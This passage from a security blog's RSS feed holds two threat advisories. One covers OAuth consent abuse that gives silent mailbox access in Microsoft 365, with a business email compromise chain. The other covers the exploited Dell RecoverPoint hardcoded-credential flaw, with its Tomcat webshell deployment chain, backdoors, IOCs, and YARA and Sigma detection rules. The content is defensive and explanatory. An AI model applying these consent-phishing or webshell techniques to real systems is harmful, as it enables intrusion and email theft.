<li>Block or alert on Zoho WorkDrive API access from non-sanctioned applications</li>
<li>Inspect <code>$RECYCLE.BIN</code> directories on removable media for hidden staging folders</li>
</ol>
<hr />
<p><em>Need help assessing your exposure to nation-state threats? Request a <a target="_blank" href="https://theinsider-x.com">free penetration test</a> — currently in open beta.</em></p>
<hr />
<p><strong>References:</strong></p>
<ul>
<li><a target="_blank" href="https://www.zscaler.com/blogs/security-research/apt37-adds-new-capabilities-air-gapped-networks">Zscaler ThreatLabz: APT37 Adds New Capabilities for Air-Gapped Networks</a></li>
<li><a target="_blank" href="https://thehackernews.com/2026/02/scarcruft-uses-zoho-workdrive-and-usb.html">The Hacker News: ScarCruft Uses Zoho WorkDrive and USB Malware</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[ChatGPT Can Read Your Corporate Email — And You Probably Already Gave It Permission]]></title><description><![CDATA[One Click. Permanent Inbox Access. MFA Bypassed.
An employee at your organization connected ChatGPT to their work account. A consent popup appeared. They clicked "Accept." That single click gave ChatGPT — and anyone who compromises that OAuth token —...]]></description><link>https://deepseax.hashnode.dev/chatgpt-can-read-your-corporate-email-and-you-probably-already-gave-it-permission</link><guid isPermaLink="true">https://deepseax.hashnode.dev/chatgpt-can-read-your-corporate-email-and-you-probably-already-gave-it-permission</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Microsoft365]]></category><category><![CDATA[oauth]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Fri, 27 Feb 2026 13:07:46 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-one-click-permanent-inbox-access-mfa-bypassed">One Click. Permanent Inbox Access. MFA Bypassed.</h2>
<p>An employee at your organization connected ChatGPT to their work account. A consent popup appeared. They clicked "Accept." That single click gave ChatGPT — and anyone who compromises that OAuth token — <strong>permanent, silent read access to every email in their inbox.</strong></p>
<p>No password needed. No MFA prompt. No login alert. The token just works, quietly, in the background, forever — until someone revokes it.</p>
<p>This isn't a vulnerability in ChatGPT. It's a <strong>design flaw in how Microsoft Entra ID handles OAuth consent</strong> — and it affects every Microsoft 365 organization on the planet.</p>
<h2 id="heading-how-it-works">How It Works</h2>
<h3 id="heading-step-1-the-consent-screen">Step 1: The Consent Screen</h3>
<p>When a user connects ChatGPT (or any third-party app) to their Microsoft 365 account, Entra ID presents an OAuth consent screen:</p>
<pre><code><span class="hljs-string">"ChatGPT"</span> would like to:
✓ Read your mail
✓ Maintain access to data you have given it access to
✓ View your basic profile

[Accept]  [Cancel]
</code></pre><p>The critical permission is <strong>Mail.Read</strong> — access to read every email in the user's mailbox via Microsoft Graph API.</p>
<p>Most users click Accept without reading. Most organizations allow non-admin users to grant these permissions by default.</p>
<h3 id="heading-step-2-service-principal-creation">Step 2: Service Principal Creation</h3>
<p>Once the user consents, Entra ID creates a <strong>Service Principal</strong> — a persistent digital identity for the application. This service principal receives an OAuth token that:</p>
<ul>
<li><strong>Never expires</strong> (until explicitly revoked)</li>
<li><strong>Bypasses MFA</strong> — it's a token, not a login</li>
<li><strong>Works in the background</strong> — no user interaction needed</li>
<li><strong>Survives password changes</strong> — the token is independent of the user's credentials</li>
</ul>
<p>The app doesn't log in as the user. It authenticates as itself, with delegated permissions to read the user's mail.</p>
<h3 id="heading-step-3-silent-email-access">Step 3: Silent Email Access</h3>
<p>With the <code>Mail.Read</code> scope and <code>offline_access</code>, the application can:</p>
<pre><code>GET https:<span class="hljs-comment">//graph.microsoft.com/v1.0/me/messages</span>
Authorization: Bearer {oauth_token}

→ Returns every email <span class="hljs-keyword">in</span> the user<span class="hljs-string">'s mailbox
→ No audit trail in the user'</span>s sign-<span class="hljs-keyword">in</span> logs
→ No MFA challenge
→ No notification to the user
</code></pre><p>This isn't hacking. This is the OAuth 2.0 protocol working exactly as designed.</p>
<h2 id="heading-why-this-is-dangerous">Why This Is Dangerous</h2>
<h3 id="heading-the-legitimate-scenario">The Legitimate Scenario</h3>
<p>ChatGPT (App ID: <code>e0476654-c1d5-430b-ab80-70cbd947616a</code>) is a legitimate application from OpenAI. When a user connects it to their work account, OpenAI's servers can read their email to provide AI-assisted features.</p>
<p>This is the intended behavior. The problem is what happens next.</p>
<h3 id="heading-the-attack-scenario">The Attack Scenario</h3>
<p>An attacker doesn't need to compromise ChatGPT. They just need to:</p>
<ol>
<li><strong>Create a malicious app</strong> that looks like a legitimate service</li>
<li><strong>Send a phishing link</strong> with an OAuth consent URL</li>
<li><strong>User clicks Accept</strong> on the consent screen</li>
<li><strong>Attacker's app gets a persistent token</strong> with Mail.Read access</li>
<li><strong>Attacker reads every email</strong> — silently, indefinitely</li>
</ol>
<p>Or even simpler:</p>
<ol>
<li><strong>Compromise any app</strong> that already has Mail.Read consent</li>
<li><strong>Use its existing token</strong> to read emails</li>
<li><strong>No phishing needed</strong> — the consent was already granted</li>
</ol>
<h3 id="heading-business-email-compromise-bec-chain">Business Email Compromise (BEC) Chain</h3>
<pre><code>OAuth consent granted
    ↓
Attacker reads inbox silently <span class="hljs-keyword">for</span> weeks
    ↓
Identifies pending wire transfer ($<span class="hljs-number">450</span>,<span class="hljs-number">000</span> invoice)
    ↓
Learns communication patterns between CFO and vendor
    ↓
Sends spoofed email at the right moment:
    <span class="hljs-string">"Please update our bank details for this payment"</span>
    ↓
Money gone. No malware. No suspicious login.
</code></pre><p>The FBI's IC3 reported <strong>$2.9 billion</strong> in BEC losses in 2023 alone. OAuth consent abuse makes BEC reconnaissance trivially easy.</p>
<h2 id="heading-the-scale-of-the-problem">The Scale of the Problem</h2>
<p>In a typical Microsoft 365 tenant:</p>
<ul>
<li><strong>Dozens of third-party apps</strong> have OAuth consent</li>
<li><strong>Most users</strong> can grant consent without admin approval (default setting)</li>
<li><strong>Nobody audits</strong> which apps have which permissions</li>
<li><strong>Tokens persist</strong> until manually revoked</li>
<li><strong>No expiration</strong> by default on delegated permissions</li>
</ul>
<p>Red Canary researchers found that most organizations have <strong>no visibility</strong> into which applications have been granted email access through OAuth consent.</p>
<h2 id="heading-detection">Detection</h2>
<h3 id="heading-audit-log-monitoring">Audit Log Monitoring</h3>
<p>The two critical events to monitor in Entra ID audit logs:</p>
<pre><code>Operation: <span class="hljs-string">"Consent to application"</span>
<span class="hljs-attr">Operation</span>: <span class="hljs-string">"Add service principal"</span>
</code></pre><p>These events show exactly who authorized which application and when.</p>
<h3 id="heading-kql-detection-query-microsoft-sentinel">KQL Detection Query (Microsoft Sentinel)</h3>
<pre><code class="lang-kql">AuditLogs
| where OperationName == "Consent to application"
| extend AppName = tostring(TargetResources[0].displayName)
| extend Permissions = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where Permissions has_any ("Mail.Read", "Mail.ReadWrite", "Files.Read", "Chat.Read")
| extend ConsentUser = tostring(InitiatedBy.user.userPrincipalName)
| project TimeGenerated, ConsentUser, AppName, Permissions
| sort by TimeGenerated desc
</code></pre>
<h3 id="heading-high-risk-permission-alert">High-Risk Permission Alert</h3>
<pre><code class="lang-kql">AuditLogs
| where OperationName == "Consent to application"
| extend AppId = tostring(TargetResources[0].id)
| extend OrgId = tostring(AdditionalDetails[0].value)
| where OrgId != "&lt;your-tenant-id&gt;"  // External apps only
| extend Permissions = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where Permissions has_any ("Mail.Read", "Mail.ReadWrite", "Mail.Send")
| project TimeGenerated, AppId, Permissions, InitiatedBy
</code></pre>
<h3 id="heading-graph-api-list-all-consented-apps">Graph API — List All Consented Apps</h3>
<pre><code class="lang-powershell"><span class="hljs-comment"># List all OAuth2 permission grants in your tenant</span>
<span class="hljs-built_in">Get-MgOauth2PermissionGrant</span> <span class="hljs-literal">-All</span> | <span class="hljs-built_in">Where-Object</span> {
    <span class="hljs-variable">$_</span>.Scope <span class="hljs-operator">-match</span> <span class="hljs-string">'Mail.Read|Mail.ReadWrite|Mail.Send'</span>
} | <span class="hljs-built_in">Select-Object</span> ClientId, PrincipalId, Scope, ConsentType
</code></pre>
<p>This single command shows every application with email access in your entire organization.</p>
<h2 id="heading-remediation">Remediation</h2>
<h3 id="heading-immediate-revoke-suspicious-consents">Immediate: Revoke Suspicious Consents</h3>
<pre><code class="lang-powershell"><span class="hljs-comment"># Find and revoke a specific app's consent</span>
<span class="hljs-variable">$grants</span> = <span class="hljs-built_in">Get-MgOauth2PermissionGrant</span> <span class="hljs-literal">-All</span> | <span class="hljs-built_in">Where-Object</span> {
    <span class="hljs-variable">$_</span>.ClientId <span class="hljs-operator">-eq</span> <span class="hljs-string">"&lt;suspicious-app-id&gt;"</span>
}
<span class="hljs-variable">$grants</span> | <span class="hljs-built_in">ForEach-Object</span> {
    <span class="hljs-built_in">Remove-MgOauth2PermissionGrant</span> <span class="hljs-literal">-OAuth2PermissionGrantId</span> <span class="hljs-variable">$_</span>.Id
}
</code></pre>
<h3 id="heading-preventive-restrict-user-consent">Preventive: Restrict User Consent</h3>
<p>In <strong>Entra ID → Enterprise Applications → Consent and permissions:</strong></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Setting</td><td>Recommended Value</td></tr>
</thead>
<tbody>
<tr>
<td>Users can consent to apps</td><td><strong>No</strong></td></tr>
<tr>
<td>Users can consent to apps from verified publishers</td><td>For low-risk permissions only</td></tr>
<tr>
<td>Admin consent required for</td><td>Mail.Read, Files.ReadWrite, Chat.Read</td></tr>
<tr>
<td>Admin consent workflow</td><td>Enabled (users request, admins approve)</td></tr>
</tbody>
</table>
</div><h3 id="heading-ongoing-audit-schedule">Ongoing: Audit Schedule</h3>
<ul>
<li><strong>Weekly:</strong> Review new "Consent to application" audit events</li>
<li><strong>Monthly:</strong> Enumerate all OAuth grants with <code>Get-MgOauth2PermissionGrant</code></li>
<li><strong>Quarterly:</strong> Full review of all service principals and their permissions</li>
<li><strong>Immediately:</strong> Investigate any consent for Mail.Read/Write from unknown apps</li>
</ul>
<h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Usage</td></tr>
</thead>
<tbody>
<tr>
<td>Steal Application Access Token</td><td>T1528</td><td>OAuth token persists without MFA</td></tr>
<tr>
<td>Application Access Token</td><td>T1550.001</td><td>Token reuse for Graph API access</td></tr>
<tr>
<td>Email Collection</td><td>T1114.002</td><td>Mail.Read permission abuse</td></tr>
<tr>
<td>Phishing: Spearphishing Link</td><td>T1566.002</td><td>Consent phishing via OAuth URL</td></tr>
<tr>
<td>Valid Accounts: Cloud Accounts</td><td>T1078.004</td><td>Service principal persistence</td></tr>
</tbody>
</table>
</div><h2 id="heading-the-bottom-line">The Bottom Line</h2>
<p>The OAuth consent screen is the new phishing email. It looks legitimate, it asks for permission politely, and it grants permanent silent access that survives every security control you've deployed.</p>
<p>Check your tenant right now:</p>
<pre><code class="lang-powershell"><span class="hljs-built_in">Get-MgOauth2PermissionGrant</span> <span class="hljs-literal">-All</span> | <span class="hljs-built_in">Where-Object</span> {
    <span class="hljs-variable">$_</span>.Scope <span class="hljs-operator">-match</span> <span class="hljs-string">'Mail'</span>
} | <span class="hljs-built_in">Measure-Object</span>
</code></pre>
<p>If that number surprises you, you have work to do.</p>
<hr />
<p><em>Your users didn't get phished. They didn't click a malicious link. They just connected an AI tool to their work account — and gave away the keys to the inbox.</em></p>
<p>Need help auditing OAuth permissions across your Microsoft 365 tenant? <a target="_blank" href="https://theinsider-x.com">Request a free penetration test</a> at theinsider-x.com — currently in open beta.</p>
<hr />
<p><strong>Sources:</strong> Red Canary, Hackread, CybersecurityNews, GBHackers, Microsoft Entra ID Documentation</p>
<p><strong>MITRE ATT&amp;CK:</strong> T1528, T1550.001, T1114.002, T1566.002, T1078.004</p>
]]></content:encoded></item><item><title><![CDATA[CVE-2026-22769: Dell RecoverPoint Zero-Day Exploited by China Since 2024 — CVSS 10.0]]></title><description><![CDATA[A Hardcoded Password. Root Access. Two Years Undetected.
Dell shipped a backup product with an admin password hardcoded in a config file. Chinese state hackers found it in mid-2024 and have been quietly exploiting it ever since.
CVE-2026-22769 affect...]]></description><link>https://deepseax.hashnode.dev/cve-2026-22769-dell-recoverpoint-zero-day-exploited-by-china-since-2024-cvss-100</link><guid isPermaLink="true">https://deepseax.hashnode.dev/cve-2026-22769-dell-recoverpoint-zero-day-exploited-by-china-since-2024-cvss-100</guid><category><![CDATA[cve202622769]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[threat_hunting]]></category><category><![CDATA[ZeroDay]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Fri, 27 Feb 2026 11:42:13 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-a-hardcoded-password-root-access-two-years-undetected">A Hardcoded Password. Root Access. Two Years Undetected.</h2>
<p>Dell shipped a backup product with an admin password hardcoded in a config file. Chinese state hackers found it in mid-2024 and have been quietly exploiting it ever since.</p>
<p>CVE-2026-22769 affects <strong>Dell RecoverPoint for Virtual Machines</strong> — the software organizations trust to protect their VMware infrastructure. CVSS score: <strong>10.0</strong>. Maximum severity. CISA added it to the Known Exploited Vulnerabilities catalog with a <strong>3-day patch deadline</strong> for federal agencies.</p>
<p>The threat actor, tracked as <strong>UNC6201</strong> by Google's Threat Intelligence Group (GTIG), deployed three custom malware families and invented a novel lateral movement technique using ephemeral virtual network interfaces.</p>
<h2 id="heading-the-vulnerability-password-in-a-config-file">The Vulnerability: Password in a Config File</h2>
<p>Dell RecoverPoint for VMs ships with Apache Tomcat as its web management interface. The admin credentials were hardcoded in:</p>
<pre><code>/home/kos/tomcat9/tomcat-users.xml
</code></pre><p>Username: <code>admin</code>. Password: hardcoded. This grants full access to the Tomcat Manager console at <code>/manager/text/deploy</code>.</p>
<p>With Tomcat Manager access, an attacker can deploy arbitrary WAR (Web Application Archive) files. WAR files execute as Java servlets with the same privileges as the Tomcat process — in this case, <strong>root</strong>.</p>
<p>This isn't a complex exploit. There's no buffer overflow, no race condition, no heap spray. It's a default password that Dell shipped in production for years.</p>
<h2 id="heading-the-attack-chain">The Attack Chain</h2>
<pre><code><span class="hljs-number">1.</span> Scan <span class="hljs-keyword">for</span> Dell RecoverPoint instances (port <span class="hljs-number">443</span>)
       ↓
<span class="hljs-number">2.</span> Authenticate to Tomcat Manager <span class="hljs-keyword">with</span> hardcoded credentials
       ↓
<span class="hljs-number">3.</span> Deploy SLAYSTYLE webshell via WAR file upload
       ↓
<span class="hljs-number">4.</span> Execute commands <span class="hljs-keyword">as</span> root via webshell
       ↓
<span class="hljs-number">5.</span> Deploy BRICKSTORM or GRIMBOLT backdoor <span class="hljs-keyword">for</span> persistence
       ↓
<span class="hljs-number">6.</span> Create Ghost NICs <span class="hljs-keyword">for</span> lateral movement into internal network
       ↓
<span class="hljs-number">7.</span> Manipulate iptables to hide traffic and maintain access
       ↓
<span class="hljs-number">8.</span> Long-term espionage (active since mid<span class="hljs-number">-2024</span>)
</code></pre><h2 id="heading-unc6201s-custom-malware-arsenal">UNC6201's Custom Malware Arsenal</h2>
<h3 id="heading-slaystyle-the-webshell">SLAYSTYLE — The Webshell</h3>
<p>The initial foothold. A Java-based webshell deployed as a WAR file through Tomcat Manager. Executes arbitrary commands with root privileges on the RecoverPoint appliance.</p>
<h3 id="heading-brickstorm-the-c-backdoor">BRICKSTORM — The C# Backdoor</h3>
<p>The primary persistence mechanism:</p>
<ul>
<li>Remote shell access with encrypted C2 communication</li>
<li>File upload and download capability</li>
<li>Command execution</li>
<li>Written in C# — runs on the .NET runtime available on the appliance</li>
</ul>
<h3 id="heading-grimbolt-the-evolution">GRIMBOLT — The Evolution</h3>
<p>A newer variant designed to evade forensic analysis:</p>
<ul>
<li><strong>Native AOT (Ahead-of-Time) compilation</strong> — compiles to a standalone binary with no .NET runtime dependency</li>
<li>Significantly harder to reverse engineer than BRICKSTORM</li>
<li>Enhanced anti-forensic capabilities</li>
<li>Same C2 infrastructure as BRICKSTORM, suggesting evolution by the same team</li>
<li>Eliminates dependency on .NET, reducing detection surface</li>
</ul>
<h2 id="heading-ghost-nics-a-novel-lateral-movement-technique">Ghost NICs: A Novel Lateral Movement Technique</h2>
<p>This is the most innovative part of the campaign.</p>
<p>After compromising the RecoverPoint appliance, UNC6201 creates <strong>temporary virtual network interfaces</strong> ("Ghost NICs") that bridge into internal network segments. These interfaces exist only long enough to perform reconnaissance or pivot to other systems — then they're deleted.</p>
<p>Why this matters:</p>
<ul>
<li>RecoverPoint appliances typically sit on <strong>management networks</strong> with broad access to VMware infrastructure</li>
<li>The Ghost NIC technique leaves minimal forensic traces</li>
<li>Network monitoring tools may not detect a temporary interface that exists for seconds</li>
<li>Traditional network segmentation doesn't protect against an appliance that's already trusted</li>
</ul>
<h2 id="heading-iptables-manipulation-for-stealth">iptables Manipulation for Stealth</h2>
<p>UNC6201 deployed custom iptables rules to:</p>
<ol>
<li><strong>Monitor port 443</strong> for specific HEX signatures in incoming traffic</li>
<li><strong>Whitelist approved source IPs</strong> — only the attacker's infrastructure gets through</li>
<li><strong>Redirect traffic</strong> — when a matching signature is detected, redirect port 443 to port 10443 for a 300-second window</li>
<li><strong>Auto-expire</strong> — rules reset after 5 minutes, leaving no permanent trace</li>
</ol>
<p>This creates a <strong>knock sequence</strong> — the attacker sends a packet with a specific hex pattern, which opens a 5-minute window for C2 communication. To anyone monitoring, port 443 looks like normal HTTPS traffic.</p>
<h2 id="heading-affected-versions">Affected Versions</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Product</td><td>Vulnerable Versions</td><td>Patched Version</td></tr>
</thead>
<tbody>
<tr>
<td>RecoverPoint for VMs</td><td>5.3 SP4 P1 and earlier</td><td>6.0.3.1 HF1</td></tr>
<tr>
<td>RecoverPoint for VMs</td><td>6.0 through 6.0 SP3 P1</td><td>6.0.3.1 HF1</td></tr>
<tr>
<td>RecoverPoint Classic</td><td>Not affected</td><td>—</td></tr>
</tbody>
</table>
</div><h2 id="heading-iocs">IOCs</h2>
<h3 id="heading-file-hashes-sha-256">File Hashes (SHA-256)</h3>
<p><strong>GRIMBOLT:</strong></p>
<pre><code><span class="hljs-number">24</span>a11a26a2586f4fba7bfe89df2e21a0809ad85069e442da98c37c4add369a0c
dfb37247d12351ef9708cb6631ce2d7017897503657c6b882a711c0da8a9a591
</code></pre><p><strong>SLAYSTYLE:</strong></p>
<pre><code><span class="hljs-number">92</span>fb4ad6dee9362d0596fda7bbcfe1ba353f812ea801d1870e37bfc6376e624a
</code></pre><p><strong>BRICKSTORM:</strong></p>
<pre><code>aa688682d44f0c6b0ed7f30b981a609100107f2d414a3a6e5808671b112d1878
<span class="hljs-number">2388</span>ed7aee0b6b392778e8f9e98871c06499f476c9e7eae6ca0916f827fe65df
<span class="hljs-number">320</span>a0b5d4900697e125cebb5ff03dee7368f8f087db1c1570b0b62f5a986d759
<span class="hljs-number">90</span>b760ed1d0dcb3ef0f2b6d6195c9d852bcb65eca293578982a8c4b64f51b035
<span class="hljs-number">45313</span>a6745803a7f57ff35f5397fdf117eaec008a76417e6e2ac8a6280f7d830
</code></pre><p><strong>Network:</strong></p>
<pre><code><span class="hljs-number">149.248</span><span class="hljs-number">.11</span><span class="hljs-number">.71</span>
</code></pre><h2 id="heading-detection">Detection</h2>
<h3 id="heading-yara-rule-slaystyle-webshell">YARA Rule — SLAYSTYLE Webshell</h3>
<pre><code class="lang-yara">rule SLAYSTYLE_Webshell {
    meta:
        description = "Detects SLAYSTYLE webshell deployed via Dell RecoverPoint"
        author = "theinsider-x.com"
        date = "2026-02-27"
        reference = "CVE-2026-22769"
    strings:
        $war_deploy = "/manager/text/deploy" ascii
        $tomcat_user = "tomcat-users.xml" ascii
        $cmd_exec = "Runtime.getRuntime().exec" ascii
        $hash = "92fb4ad6dee9362d0596fda7bbcfe1ba353f812ea801d1870e37bfc6376e624a"
    condition:
        2 of them
}
</code></pre>
<h3 id="heading-sigma-rule-tomcat-manager-exploitation">Sigma Rule — Tomcat Manager Exploitation</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">Dell</span> <span class="hljs-string">RecoverPoint</span> <span class="hljs-string">Tomcat</span> <span class="hljs-string">Manager</span> <span class="hljs-string">Unauthorized</span> <span class="hljs-string">Access</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">logsource:</span>
    <span class="hljs-attr">category:</span> <span class="hljs-string">webserver</span>
    <span class="hljs-attr">product:</span> <span class="hljs-string">apache</span>
<span class="hljs-attr">detection:</span>
    <span class="hljs-attr">selection:</span>
        <span class="hljs-string">cs_uri_stem|contains:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'/manager/text/deploy'</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'/manager/html/upload'</span>
        <span class="hljs-attr">cs_username:</span> <span class="hljs-string">'admin'</span>
    <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">critical</span>
</code></pre>
<h3 id="heading-network-detection">Network Detection</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">UNC6201</span> <span class="hljs-string">C2</span> <span class="hljs-string">Communication</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">logsource:</span>
    <span class="hljs-attr">category:</span> <span class="hljs-string">firewall</span>
<span class="hljs-attr">detection:</span>
    <span class="hljs-attr">selection_ip:</span>
        <span class="hljs-attr">dst_ip:</span> <span class="hljs-string">'149.248.11.71'</span>
    <span class="hljs-attr">selection_port:</span>
        <span class="hljs-attr">dst_port:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-number">443</span>
            <span class="hljs-bullet">-</span> <span class="hljs-number">10443</span>
    <span class="hljs-attr">condition:</span> <span class="hljs-string">selection_ip</span> <span class="hljs-string">or</span> <span class="hljs-string">(selection_port</span> <span class="hljs-string">and</span> <span class="hljs-string">dst_port</span> <span class="hljs-string">==</span> <span class="hljs-number">10443</span><span class="hljs-string">)</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">critical</span>
</code></pre>
<h3 id="heading-forensic-checks">Forensic Checks</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># Check for SLAYSTYLE webshell in Tomcat</span>
find /home/kos/tomcat9/webapps/ -name <span class="hljs-string">'*.war'</span> -newer /home/kos/tomcat9/webapps/ROOT.war

<span class="hljs-comment"># Check for Ghost NIC artifacts</span>
ip link show | grep -v <span class="hljs-string">'state UP\|lo:'</span>
journalctl -u NetworkManager --since <span class="hljs-string">'2024-06-01'</span> | grep <span class="hljs-string">'new link'</span>

<span class="hljs-comment"># Check iptables for port redirection rules</span>
iptables -t nat -L -n | grep 10443

<span class="hljs-comment"># Check for BrickStorm/GrimBolt processes</span>
ps aux | grep -E <span class="hljs-string">'/tmp/\.|/var/tmp/'</span> | grep -v grep

<span class="hljs-comment"># Verify tomcat-users.xml hasn't been accessed</span>
<span class="hljs-built_in">stat</span> /home/kos/tomcat9/tomcat-users.xml
</code></pre>
<h2 id="heading-mitre-attampck-mapping">MITRE ATT&amp;CK Mapping</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Technique</td><td>ID</td><td>Usage</td></tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application</td><td>T1190</td><td>Tomcat Manager with hardcoded creds</td></tr>
<tr>
<td>Valid Accounts: Default Accounts</td><td>T1078.001</td><td>Hardcoded admin credentials</td></tr>
<tr>
<td>Server Software Component: Web Shell</td><td>T1505.003</td><td>SLAYSTYLE WAR deployment</td></tr>
<tr>
<td>Boot or Logon Autostart Execution</td><td>T1547</td><td>BRICKSTORM/GRIMBOLT persistence</td></tr>
<tr>
<td>Proxy: Multi-hop Proxy</td><td>T1090.003</td><td>iptables port redirection</td></tr>
<tr>
<td>Network Service Discovery</td><td>T1046</td><td>Ghost NIC lateral recon</td></tr>
<tr>
<td>Exfiltration Over C2 Channel</td><td>T1041</td><td>Data theft via BRICKSTORM</td></tr>
<tr>
<td>Indicator Removal</td><td>T1070</td><td>Ghost NIC deletion, iptables auto-expire</td></tr>
</tbody>
</table>
</div><h2 id="heading-remediation">Remediation</h2>
<h3 id="heading-immediate-today">Immediate (Today)</h3>
<ol>
<li><strong>Patch</strong> — Upgrade to Dell RecoverPoint for VMs 6.0.3.1 HF1</li>
<li><strong>If patching isn't immediate</strong> — Apply Dell's remediation script (KB000426742)</li>
<li><strong>Block IOC</strong> — Add <code>149.248.11.71</code> to your firewall blocklist</li>
<li><strong>Scan for webshells</strong> — Check Tomcat webapps directory for unknown WAR files</li>
</ol>
<h3 id="heading-forensic-investigation">Forensic Investigation</h3>
<ol start="5">
<li><strong>Check Tomcat access logs</strong> for <code>/manager/text/deploy</code> requests since mid-2024</li>
<li><strong>Scan for IOC hashes</strong> across all RecoverPoint appliances</li>
<li><strong>Review iptables rules</strong> for any port redirection to 10443</li>
<li><strong>Check network logs</strong> for connections to <code>149.248.11.71</code></li>
<li><strong>Audit network interfaces</strong> — any recently created/deleted virtual NICs?</li>
</ol>
<h3 id="heading-strategic">Strategic</h3>
<ol start="10">
<li><strong>Isolate backup infrastructure</strong> — RecoverPoint appliances should not have broad network access</li>
<li><strong>Monitor Tomcat Manager</strong> — alert on any <code>/manager/</code> access</li>
<li><strong>Credential audit</strong> — scan for hardcoded credentials in ALL appliance configs</li>
</ol>
<hr />
<p><em>Your backup system was the backdoor. The appliance trusted to recover from compromise was itself compromised — for two years.</em></p>
<p>Need help checking if your Dell infrastructure has been compromised? <a target="_blank" href="https://theinsider-x.com">Request a free penetration test</a> at theinsider-x.com — currently in open beta.</p>
<hr />
<p><strong>Sources:</strong> Google GTIG/Mandiant, The Hacker News, Dell Security Advisory, CISA KEV, TrueSec</p>
<p><strong>MITRE ATT&amp;CK:</strong> T1190, T1078.001, T1505.003, T1547, T1090.003, T1046, T1041, T1070</p>
]]></content:encoded></item></channel></rss>